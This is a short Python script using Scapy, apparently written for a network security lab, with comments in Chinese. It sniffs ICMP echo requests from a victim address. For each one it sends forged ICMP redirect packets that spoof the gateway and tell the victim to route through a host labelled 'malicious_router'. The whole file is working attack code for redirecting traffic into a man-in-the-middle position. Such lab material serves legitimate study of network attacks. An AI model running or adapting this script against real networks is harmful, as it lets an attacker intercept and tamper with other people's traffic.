#!/usr/bin/python3
from scapy.all import *

victim_ip = '10.9.0.5'
target_ip = '192.168.60.5'
gateway_ip = '10.9.0.11'
malicious_router = '10.9.0.111'

def send_redirect(pkt):
    if ICMP in pkt and pkt[ICMP].type == 8: # Echo Request
        print(f"Captured packet from {pkt[IP].src} to {pkt[IP].dst}. Sending redirect...")
        # 外层 IP 包
        ip = IP(src=gateway_ip, dst=victim_ip)
        # ICMP 重定向 (type=5, code=1)
        icmp = ICMP(type=5, code=1)
        # 有些 Scapy 版本对 gw 的处理有问题，直接使用其内部字段名或 hex
        icmp.gw = malicious_router
        # 负载应该是触发重定向的原始 IP 数据包
        # 包括 IP 头部和至少 8 字节的原始负载
        # 这里直接传整个 pkt[IP] 也是可以的
        redirect_pkt = ip/icmp/pkt[IP]
        print(f"Packet: {redirect_pkt.summary()}")
        send(redirect_pkt, iface='eth0', verbose=True)

print(f"Sniffing for packets from {victim_ip} to {target_ip}...")
sniff(iface='eth0', filter=f"icmp and src {victim_ip} and dst {target_ip}", prn=send_redirect, count=10)
